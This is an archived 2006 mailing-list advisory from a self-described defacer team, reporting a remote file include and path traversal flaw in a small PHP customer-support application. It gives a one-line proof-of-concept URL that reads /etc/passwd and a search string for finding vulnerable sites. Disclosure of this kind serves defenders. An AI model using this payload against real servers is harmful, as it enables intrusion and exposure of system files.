Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

WebspotBlogging => 3.0 Remote File Include Vulnerabilities

DanPHPSupport => 0.5 Cross Site Scripting Vulnerabilities

QB ( QuickBlogger ) =>1.4 Remote File Include Vulnerabilities

php_news => 2.0 Remote File Include Vulnerabilities

From:	stormhacker_(at)_hotmail.com <stormhacker_(at)_hotmail.com>
Date:	27.09.2006
Subject:	WD25:- Deparcq Pieter project File Include Vulnerability

[W]orld [D]efacers Team
--------------------Summary----------------

eVuln ID: WD26

Vendor:  Deparcq Pieter project

Dook:- Copyright © 2004 by Deparcq Pieter & Dries Van Thourhout

Software: Live Customer Support Solution :- http://www.davidsfonds-roeselare.be/

Class: Remote

PoC/Exploit: Available

Solution: Not Available

Discovered by: rUnViRuS (http://www.wdzone.net)


--------------PoC/Exploit----------------------

index.php?action=show&page_body=../../../../../etc/passwd

--------------Solution---------------------

No Patch available.

--------------Credit-----------------------

Discovered by: rUnViRuS (http://www.wdzone.net)& (worlddefacers.de)